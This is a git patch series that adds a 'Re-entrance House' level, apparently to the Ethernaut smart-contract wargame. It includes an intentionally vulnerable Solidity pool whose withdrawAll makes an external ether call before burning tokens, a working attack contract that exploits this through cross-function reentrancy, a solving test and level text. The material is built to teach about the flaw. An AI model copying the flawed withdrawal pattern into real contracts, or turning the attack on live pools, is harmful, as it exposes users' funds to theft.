From 6c20f17ba30ad76399116b5525a55d52071e6ef1 Mon Sep 17 00:00:00 2001 From: Claudia Date: Mon, 8 Jan 2024 13:14:27 +0100 Subject: [PATCH 01/10] add: level, factory and attack implementation --- .../attacks/ReentranceHouseAttack.sol | 37 ++++++ .../contracts/levels/ReentranceHouse.sol | 121 ++++++++++++++++++ .../levels/ReentranceHouseFactory.sol | 38 ++++++ 3 files changed, 196 insertions(+) create mode 100644 contracts/contracts/attacks/ReentranceHouseAttack.sol create mode 100644 contracts/contracts/levels/ReentranceHouse.sol create mode 100644 contracts/contracts/levels/ReentranceHouseFactory.sol diff --git a/contracts/contracts/attacks/ReentranceHouseAttack.sol b/contracts/contracts/attacks/ReentranceHouseAttack.sol new file mode 100644 index 000000000..38ed1d2e8 --- /dev/null +++ b/contracts/contracts/attacks/ReentranceHouseAttack.sol @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "../levels/ReentranceHouse.sol"; + +contract ReentranceHouseAttack { + ReentranceHouse target; + Pool pool; + PoolToken depositToken; + + constructor(address payable _target) payable { + target = ReentranceHouse(_target); + } + + function setNeededParameters( + address payable _pool, + address _depositToken + ) external { + pool = Pool(_pool); + depositToken = PoolToken(_depositToken); + } + + function attack() external payable { + depositToken.approve(address(pool), 5); + pool.deposit{value: 0.001 ether}(5); + pool.withdrawAll(); + } + + receive() external payable { + // approve + depositToken.approve(address(pool), 5); + pool.deposit(5); + pool.lockDeposits(); + target.makeBet(tx.origin); + } +} diff --git a/contracts/contracts/levels/ReentranceHouse.sol b/contracts/contracts/levels/ReentranceHouse.sol new file mode 100644 index 000000000..3d4d91301 --- /dev/null +++ b/contracts/contracts/levels/ReentranceHouse.sol @@ -0,0 +1,121 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import {ERC20} from "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; +import {Ownable} from "openzeppelin-contracts-08/access/Ownable.sol"; +import {ReentrancyGuard} from "openzeppelin-contracts-08/security/ReentrancyGuard.sol"; + +contract ReentranceHouse { + address private s_pool; + uint256 private constant BET_PRICE = 20; + mapping(address => bool) private s_bettors; + + error InsufficientFunds(); + error FundsNotLocked(); + + constructor(address pool_) { + s_pool = pool_; + } + + function makeBet(address bettor_) external { + if (Pool(s_pool).balanceOf(msg.sender) < BET_PRICE) + revert InsufficientFunds(); + if (!Pool(s_pool).depositsLocked(msg.sender)) revert FundsNotLocked(); + s_bettors[bettor_] = true; + } + + function isBettor(address bettor_) external view returns (bool) { + return s_bettors[bettor_]; + } + + /* really awesome implementation of betting house */ +} + +contract Pool is ReentrancyGuard { + address private s_wrappedToken; + address private s_depositToken; + + mapping(address => uint256) private s_depositedEther; + mapping(address => uint256) private s_depositedPDT; + mapping(address => bool) private s_lockedDeposits; + + error InvalidDeposit(); + error AlreadyDeposited(); + error InsufficientAllowance(); + + constructor(address wrappedToken_, address depositToken_) { + s_wrappedToken = wrappedToken_; + s_depositToken = depositToken_; + } + + function deposit(uint256 value) external payable { + uint256 _valueToMint; + // check to deposit ether + if (msg.value == 0.001 ether) { + if (s_depositedEther[msg.sender] != 0) revert AlreadyDeposited(); + s_depositedEther[msg.sender] += msg.value; + _valueToMint += 10; + } + // check to deposit PDT + if (value > 0) { + if ( + PoolToken(s_depositToken).allowance(msg.sender, address(this)) < + value + ) revert InsufficientAllowance(); + s_depositedPDT[msg.sender] += value; + PoolToken(s_depositToken).transferFrom( + msg.sender, + address(this), + value + ); + _valueToMint += value; + } + if (_valueToMint == 0) revert InvalidDeposit(); + PoolToken(s_wrappedToken).mint(msg.sender, _valueToMint); + } + + function withdrawAll() external nonReentrant { + // send the DT to the user + uint256 _depositedValue = s_depositedPDT[msg.sender]; + + s_depositedPDT[msg.sender] = 0; + PoolToken(s_depositToken).transfer(msg.sender, _depositedValue); + + // send the ether to the user + _depositedValue = s_depositedEther[msg.sender]; + + s_depositedEther[msg.sender] = 0; + payable(msg.sender).call{value: _depositedValue}(""); + + uint256 _pwtBalance = PoolToken(s_wrappedToken).balanceOf(msg.sender); + PoolToken(s_wrappedToken).burn(msg.sender, _pwtBalance); + } + + function lockDeposits() external { + s_lockedDeposits[msg.sender] = true; + } + + function depositsLocked(address account_) external view returns (bool) { + return s_lockedDeposits[account_]; + } + + function balanceOf(address account_) external view returns (uint256) { + return PoolToken(s_wrappedToken).balanceOf(account_); + } +} + +contract PoolToken is ERC20, Ownable { + constructor( + string memory name_, + string memory symbol_ + ) ERC20(name_, symbol_) Ownable() {} + + function mint(address account, uint256 amount) external onlyOwner { + _mint(account, amount); + } + + function burn(address account, uint256 amount) external onlyOwner { + _burn(account, amount); + } +} diff --git a/contracts/contracts/levels/ReentranceHouseFactory.sol b/contracts/contracts/levels/ReentranceHouseFactory.sol new file mode 100644 index 000000000..699afcf6a --- /dev/null +++ b/contracts/contracts/levels/ReentranceHouseFactory.sol @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "./base/Level.sol"; +import "./ReentranceHouse.sol"; + +contract ReentranceHouseFactory is Level { + function createInstance( + address _player + ) public payable override returns (address) { + _player; + + PoolToken wrappedToken = new PoolToken("PoolWrappedToken", "PWT"); + PoolToken depositToken = new PoolToken("PoolDepositToken", "PDT"); + + Pool pool = new Pool(address(wrappedToken), address(depositToken)); + ReentranceHouse instance = new ReentranceHouse(address(pool)); + depositToken.mint(_player, 5); + + // set pool as tokens owners + wrappedToken.transferOwnership(address(pool)); + depositToken.transferOwnership(address(pool)); + + return address(instance); + } + + function validateInstance( + address payable _instance, + address _player + ) public view override returns (bool) { + _player; + ReentranceHouse instance = ReentranceHouse(_instance); + return instance.isBettor(_player); + } + + receive() external payable {} +} From 7c52b321613e2cecf41e356add14d5cb47b95095 Mon Sep 17 00:00:00 2001 From: Claudia Date: Mon, 8 Jan 2024 13:14:39 +0100 Subject: [PATCH 02/10] add test --- contracts/test/levels/ReentranceHouse.test.js | 82 +++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 contracts/test/levels/ReentranceHouse.test.js diff --git a/contracts/test/levels/ReentranceHouse.test.js b/contracts/test/levels/ReentranceHouse.test.js new file mode 100644 index 000000000..0e46e54b7 --- /dev/null +++ b/contracts/test/levels/ReentranceHouse.test.js @@ -0,0 +1,82 @@ +/*eslint no-undef: "off"*/ +const utils = require('../utils/TestUtils'); + + +const ReentranceHouse = artifacts.require('./levels/ReentranceHouse.sol'); +const ReentranceHouseFactory = artifacts.require('./levels/ReentranceHouseFactory.sol'); +const ReentranceHouseAttack = artifacts.require('./attacks/ReentranceHouseAttack.sol'); +const Pool = artifacts.require('Pool'); +const PoolToken = artifacts.require('PoolToken'); + +contract('ReentranceHouse', function (accounts) { + let ethernaut; + let level; + let instance; + let player = accounts[0]; + + let pool; + let poolDepositToken; + + + before(async function () { + ethernaut = await utils.getEthernautWithStatsProxy(); + level = await ReentranceHouseFactory.new(); + await ethernaut.registerLevel(level.address); + instance = await utils.createLevelInstance( + ethernaut, + level.address, + player, + ReentranceHouse, + { from: player } + ); + + pool = await Pool.at(await getAddressFromStorage(instance.address, 0)); + poolDepositToken = await PoolToken.at(await getAddressFromStorage(pool.address, 2)); + }); + + describe('instance', function () { + it('should not be immediately solvable', async function () { + // make sure the factory fails + const ethCompleted = await utils.submitLevelInstance( + ethernaut, + level.address, + instance.address, + player + ); + assert.equal(ethCompleted, false); + }); + + it('should not be bettor', async function () { + // turnSwitchOn() should revert on standard call from player + const isBettor = await instance.isBettor(player); + assert.equal(isBettor, false); + }); + + it('should allow the player to solve the level', async function() { + const attackerFunds = 0.01; + const attacker = await ReentranceHouseAttack.new(instance.address, { + value: web3.utils.toWei(attackerFunds.toString(), 'ether'), + }); + + await poolDepositToken.transfer(attacker.address, 5, {from: player}); + await attacker.setNeededParameters(pool.address, poolDepositToken.address); + await attacker.attack() + const completed = await utils.submitLevelInstance( + ethernaut, + level.address, + instance.address, + player + ) + + assert.isTrue(completed) + }); + + }); +}); + + +// A function to get address from storage. +let getAddressFromStorage = async function (instanceAddress, slot) { + let slotValue = await web3.eth.getStorageAt(instanceAddress, slot); + return '0x' + slotValue.slice(26); +}; From a3dfa1c4d593f95c3ddd12b80885a5f0fb0d64d4 Mon Sep 17 00:00:00 2001 From: Claudia Date: Mon, 8 Jan 2024 13:53:27 +0100 Subject: [PATCH 03/10] add lvl description --- .../src/gamedata/en/descriptions/levels/reentrance_house.md | 5 +++++ .../en/descriptions/levels/reentrance_house_completed.md | 4 ++++ 2 files changed, 9 insertions(+) create mode 100644 client/src/gamedata/en/descriptions/levels/reentrance_house.md create mode 100644 client/src/gamedata/en/descriptions/levels/reentrance_house_completed.md diff --git a/client/src/gamedata/en/descriptions/levels/reentrance_house.md b/client/src/gamedata/en/descriptions/levels/reentrance_house.md new file mode 100644 index 000000000..0134dfd96 --- /dev/null +++ b/client/src/gamedata/en/descriptions/levels/reentrance_house.md @@ -0,0 +1,5 @@ +Welcome to the Gambling World, + +This instance represents a Betting House, as a participant, you're granted 5 Pool Deposit Tokens. + +Could you master the art of strategic gambling and become a bettor? \ No newline at end of file diff --git a/client/src/gamedata/en/descriptions/levels/reentrance_house_completed.md b/client/src/gamedata/en/descriptions/levels/reentrance_house_completed.md new file mode 100644 index 000000000..2d710fe73 --- /dev/null +++ b/client/src/gamedata/en/descriptions/levels/reentrance_house_completed.md @@ -0,0 +1,4 @@ +Cheers!!! You've gained a crucial lesson: never bet on seemingly harmless external calls. +Always assume that the receiver of the funds can be another contract, and letting the contracts in an inconsistent state could mess up the logic. + +Re-entrancy has many faces and you should always be prepared for it. \ No newline at end of file From 38bef977af860875ab2774a83344996d10e7619b Mon Sep 17 00:00:00 2001 From: Claudia Date: Mon, 8 Jan 2024 13:56:07 +0100 Subject: [PATCH 04/10] update the description --- .../en/descriptions/levels/reentrance_house_completed.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/gamedata/en/descriptions/levels/reentrance_house_completed.md b/client/src/gamedata/en/descriptions/levels/reentrance_house_completed.md index 2d710fe73..2b43a640e 100644 --- a/client/src/gamedata/en/descriptions/levels/reentrance_house_completed.md +++ b/client/src/gamedata/en/descriptions/levels/reentrance_house_completed.md @@ -1,4 +1,4 @@ Cheers!!! You've gained a crucial lesson: never bet on seemingly harmless external calls. -Always assume that the receiver of the funds can be another contract, and letting the contracts in an inconsistent state could mess up the logic. +Always assume that the receiver of the funds can be another contract, and letting the contracts in an inconsistent state could mess up the logic, even though the function is guarded. Re-entrancy has many faces and you should always be prepared for it. \ No newline at end of file From 67881d015493decc187ca4d074e8059c300fd031 Mon Sep 17 00:00:00 2001 From: Claudia Date: Mon, 8 Jan 2024 14:18:23 +0100 Subject: [PATCH 05/10] fix tests --- contracts/contracts/levels/ReentranceHouse.sol | 2 -- contracts/test/levels/ReentranceHouse.test.js | 6 +++--- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/contracts/contracts/levels/ReentranceHouse.sol b/contracts/contracts/levels/ReentranceHouse.sol index 3d4d91301..193b7ef1b 100644 --- a/contracts/contracts/levels/ReentranceHouse.sol +++ b/contracts/contracts/levels/ReentranceHouse.sol @@ -28,8 +28,6 @@ contract ReentranceHouse { function isBettor(address bettor_) external view returns (bool) { return s_bettors[bettor_]; } - - /* really awesome implementation of betting house */ } contract Pool is ReentrancyGuard { diff --git a/contracts/test/levels/ReentranceHouse.test.js b/contracts/test/levels/ReentranceHouse.test.js index 0e46e54b7..da55d041b 100644 --- a/contracts/test/levels/ReentranceHouse.test.js +++ b/contracts/test/levels/ReentranceHouse.test.js @@ -37,19 +37,19 @@ contract('ReentranceHouse', function (accounts) { describe('instance', function () { it('should not be immediately solvable', async function () { // make sure the factory fails - const ethCompleted = await utils.submitLevelInstance( + const completed = await utils.submitLevelInstance( ethernaut, level.address, instance.address, player ); - assert.equal(ethCompleted, false); + assert.isFalse(completed); }); it('should not be bettor', async function () { // turnSwitchOn() should revert on standard call from player const isBettor = await instance.isBettor(player); - assert.equal(isBettor, false); + assert.isFalse(isBettor); }); it('should allow the player to solve the level', async function() { From 4db20a5df2644f7ab404c6b7629f64cbfec199f6 Mon Sep 17 00:00:00 2001 From: Claudia Date: Mon, 8 Jan 2024 14:36:52 +0100 Subject: [PATCH 06/10] add gamedata and author --- client/src/gamedata/authors.json | 9 +++++++++ client/src/gamedata/gamedata.json | 15 +++++++++++++++ 2 files changed, 24 insertions(+) diff --git a/client/src/gamedata/authors.json b/client/src/gamedata/authors.json index 4f5795c0e..9f7f5289f 100644 --- a/client/src/gamedata/authors.json +++ b/client/src/gamedata/authors.json @@ -147,6 +147,15 @@ "websites": [ "https://www.linkedin.com/in/kstasi/" ] + }, + "clauBv23": { + "name": [ + "Claudia Barcelo" + ], + "emails": ["claudiabarcelovaldes40@gmail.com"], + "websites": [ + "https://github.com/clauBv23" + ] } } } \ No newline at end of file diff --git a/client/src/gamedata/gamedata.json b/client/src/gamedata/gamedata.json index 3a959ec8f..40f9b4d4b 100644 --- a/client/src/gamedata/gamedata.json +++ b/client/src/gamedata/gamedata.json @@ -461,6 +461,21 @@ "deployId": "29", "instanceGas": 250000, "author": "AgeManning" + }, + { + "name": "Re-entrance House", + "created": "2024-01-08", + "difficulty": "6", + "description": "reentrance_house.md", + "completedDescription": "reentrance_house_completed.md", + "levelContract": "ReentranceHouseFactory.sol", + "instanceContract": "ReentranceHouse.sol", + "revealCode": true, + "deployParams": [], + "deployFunds": 0, + "deployId": "30", + "instanceGas": 250000, + "author": "clauBv23" } ] } From 946efa8fdccf7f40ae0c688e1790b21663102c8c Mon Sep 17 00:00:00 2001 From: Claudia Date: Tue, 9 Jan 2024 16:51:33 +0100 Subject: [PATCH 07/10] change gas instance --- client/src/gamedata/gamedata.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/gamedata/gamedata.json b/client/src/gamedata/gamedata.json index 40f9b4d4b..02416ed3b 100644 --- a/client/src/gamedata/gamedata.json +++ b/client/src/gamedata/gamedata.json @@ -474,7 +474,7 @@ "deployParams": [], "deployFunds": 0, "deployId": "30", - "instanceGas": 250000, + "instanceGas": 5000000, "author": "clauBv23" } ] From e9c3e37a8db90aacc4ece7c922b82327caf50398 Mon Sep 17 00:00:00 2001 From: Claudia Date: Tue, 9 Jan 2024 19:39:41 +0100 Subject: [PATCH 08/10] refactor ReentranceHouse --- .../contracts/levels/ReentranceHouse.sol | 86 ++++++++++--------- 1 file changed, 46 insertions(+), 40 deletions(-) diff --git a/contracts/contracts/levels/ReentranceHouse.sol b/contracts/contracts/levels/ReentranceHouse.sol index 193b7ef1b..fc546c5e4 100644 --- a/contracts/contracts/levels/ReentranceHouse.sol +++ b/contracts/contracts/levels/ReentranceHouse.sol @@ -7,99 +7,105 @@ import {Ownable} from "openzeppelin-contracts-08/access/Ownable.sol"; import {ReentrancyGuard} from "openzeppelin-contracts-08/security/ReentrancyGuard.sol"; contract ReentranceHouse { - address private s_pool; + address private pool; uint256 private constant BET_PRICE = 20; - mapping(address => bool) private s_bettors; + mapping(address => bool) private bettors; error InsufficientFunds(); error FundsNotLocked(); constructor(address pool_) { - s_pool = pool_; + pool = pool_; } function makeBet(address bettor_) external { - if (Pool(s_pool).balanceOf(msg.sender) < BET_PRICE) + if (Pool(pool).balanceOf(msg.sender) < BET_PRICE) revert InsufficientFunds(); - if (!Pool(s_pool).depositsLocked(msg.sender)) revert FundsNotLocked(); - s_bettors[bettor_] = true; + if (!Pool(pool).depositsLocked(msg.sender)) revert FundsNotLocked(); + bettors[bettor_] = true; } function isBettor(address bettor_) external view returns (bool) { - return s_bettors[bettor_]; + return bettors[bettor_]; } } contract Pool is ReentrancyGuard { - address private s_wrappedToken; - address private s_depositToken; + address private wrappedToken; + address private depositToken; - mapping(address => uint256) private s_depositedEther; - mapping(address => uint256) private s_depositedPDT; - mapping(address => bool) private s_lockedDeposits; + mapping(address => uint256) private depositedEther; + mapping(address => uint256) private depositedPDT; + mapping(address => bool) private depositsLockedMap; error InvalidDeposit(); error AlreadyDeposited(); error InsufficientAllowance(); constructor(address wrappedToken_, address depositToken_) { - s_wrappedToken = wrappedToken_; - s_depositToken = depositToken_; + wrappedToken = wrappedToken_; + depositToken = depositToken_; } - function deposit(uint256 value) external payable { + /** + * @dev Provide 10 wrapped tokens for 0.001 ether deposited and + * 1 wrapped token for 1 pool deposit token (PDT) deposited. + * The ether can only be deposited once per account. + */ + function deposit(uint256 value_) external payable { uint256 _valueToMint; // check to deposit ether if (msg.value == 0.001 ether) { - if (s_depositedEther[msg.sender] != 0) revert AlreadyDeposited(); - s_depositedEther[msg.sender] += msg.value; + if (depositedEther[msg.sender] != 0) revert AlreadyDeposited(); + depositedEther[msg.sender] += msg.value; _valueToMint += 10; } // check to deposit PDT - if (value > 0) { + if (value_ > 0) { if ( - PoolToken(s_depositToken).allowance(msg.sender, address(this)) < - value + PoolToken(depositToken).allowance(msg.sender, address(this)) < + value_ ) revert InsufficientAllowance(); - s_depositedPDT[msg.sender] += value; - PoolToken(s_depositToken).transferFrom( + depositedPDT[msg.sender] += value_; + PoolToken(depositToken).transferFrom( msg.sender, address(this), - value + value_ ); - _valueToMint += value; + _valueToMint += value_; } if (_valueToMint == 0) revert InvalidDeposit(); - PoolToken(s_wrappedToken).mint(msg.sender, _valueToMint); + PoolToken(wrappedToken).mint(msg.sender, _valueToMint); } function withdrawAll() external nonReentrant { - // send the DT to the user - uint256 _depositedValue = s_depositedPDT[msg.sender]; - - s_depositedPDT[msg.sender] = 0; - PoolToken(s_depositToken).transfer(msg.sender, _depositedValue); + // send the PDT to the user + uint256 _depositedValue = depositedPDT[msg.sender]; + if (_depositedValue > 0) { + depositedPDT[msg.sender] = 0; + PoolToken(depositToken).transfer(msg.sender, _depositedValue); + } // send the ether to the user - _depositedValue = s_depositedEther[msg.sender]; - - s_depositedEther[msg.sender] = 0; - payable(msg.sender).call{value: _depositedValue}(""); + _depositedValue = depositedEther[msg.sender]; + if (_depositedValue > 0) { + depositedEther[msg.sender] = 0; + payable(msg.sender).call{value: _depositedValue}(""); + } - uint256 _pwtBalance = PoolToken(s_wrappedToken).balanceOf(msg.sender); - PoolToken(s_wrappedToken).burn(msg.sender, _pwtBalance); + PoolToken(wrappedToken).burn(msg.sender, balanceOf(msg.sender)); } function lockDeposits() external { - s_lockedDeposits[msg.sender] = true; + depositsLockedMap[msg.sender] = true; } function depositsLocked(address account_) external view returns (bool) { - return s_lockedDeposits[account_]; + return depositsLockedMap[account_]; } - function balanceOf(address account_) external view returns (uint256) { - return PoolToken(s_wrappedToken).balanceOf(account_); + function balanceOf(address account_) public view returns (uint256) { + return PoolToken(wrappedToken).balanceOf(account_); } } From c22ca71eb2d6d479632f02c60e1bc2a10180aa6f Mon Sep 17 00:00:00 2001 From: Claudia Date: Tue, 9 Jan 2024 19:41:53 +0100 Subject: [PATCH 09/10] refact factory and attack --- .../contracts/attacks/ReentranceHouseAttack.sol | 12 ++++++------ .../contracts/levels/ReentranceHouseFactory.sol | 13 ++++++------- 2 files changed, 12 insertions(+), 13 deletions(-) diff --git a/contracts/contracts/attacks/ReentranceHouseAttack.sol b/contracts/contracts/attacks/ReentranceHouseAttack.sol index 38ed1d2e8..ec65de040 100644 --- a/contracts/contracts/attacks/ReentranceHouseAttack.sol +++ b/contracts/contracts/attacks/ReentranceHouseAttack.sol @@ -9,16 +9,16 @@ contract ReentranceHouseAttack { Pool pool; PoolToken depositToken; - constructor(address payable _target) payable { - target = ReentranceHouse(_target); + constructor(address payable target_) payable { + target = ReentranceHouse(target_); } function setNeededParameters( - address payable _pool, - address _depositToken + address payable pool_, + address depositToken_ ) external { - pool = Pool(_pool); - depositToken = PoolToken(_depositToken); + pool = Pool(pool_); + depositToken = PoolToken(depositToken_); } function attack() external payable { diff --git a/contracts/contracts/levels/ReentranceHouseFactory.sol b/contracts/contracts/levels/ReentranceHouseFactory.sol index 699afcf6a..a54d2c37e 100644 --- a/contracts/contracts/levels/ReentranceHouseFactory.sol +++ b/contracts/contracts/levels/ReentranceHouseFactory.sol @@ -11,16 +11,16 @@ contract ReentranceHouseFactory is Level { ) public payable override returns (address) { _player; - PoolToken wrappedToken = new PoolToken("PoolWrappedToken", "PWT"); - PoolToken depositToken = new PoolToken("PoolDepositToken", "PDT"); + PoolToken _wrappedToken = new PoolToken("PoolWrappedToken", "PWT"); + PoolToken _depositToken = new PoolToken("PoolDepositToken", "PDT"); - Pool pool = new Pool(address(wrappedToken), address(depositToken)); + Pool pool = new Pool(address(_wrappedToken), address(_depositToken)); ReentranceHouse instance = new ReentranceHouse(address(pool)); - depositToken.mint(_player, 5); + _depositToken.mint(_player, 5); // set pool as tokens owners - wrappedToken.transferOwnership(address(pool)); - depositToken.transferOwnership(address(pool)); + _wrappedToken.transferOwnership(address(pool)); + _depositToken.transferOwnership(address(pool)); return address(instance); } @@ -29,7 +29,6 @@ contract ReentranceHouseFactory is Level { address payable _instance, address _player ) public view override returns (bool) { - _player; ReentranceHouse instance = ReentranceHouse(_instance); return instance.isBettor(_player); } From 7c7dc1e9f9d334794908052616d0dcc68c7bf679 Mon Sep 17 00:00:00 2001 From: Claudia Date: Tue, 9 Jan 2024 20:17:20 +0100 Subject: [PATCH 10/10] add comment in the level completed description --- .../en/descriptions/levels/reentrance_house_completed.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/gamedata/en/descriptions/levels/reentrance_house_completed.md b/client/src/gamedata/en/descriptions/levels/reentrance_house_completed.md index 2b43a640e..b5647a849 100644 --- a/client/src/gamedata/en/descriptions/levels/reentrance_house_completed.md +++ b/client/src/gamedata/en/descriptions/levels/reentrance_house_completed.md @@ -1,4 +1,4 @@ Cheers!!! You've gained a crucial lesson: never bet on seemingly harmless external calls. Always assume that the receiver of the funds can be another contract, and letting the contracts in an inconsistent state could mess up the logic, even though the function is guarded. -Re-entrancy has many faces and you should always be prepared for it. \ No newline at end of file +Re-entrancy has many faces and you should always be prepared for it. Don't be outbet! \ No newline at end of file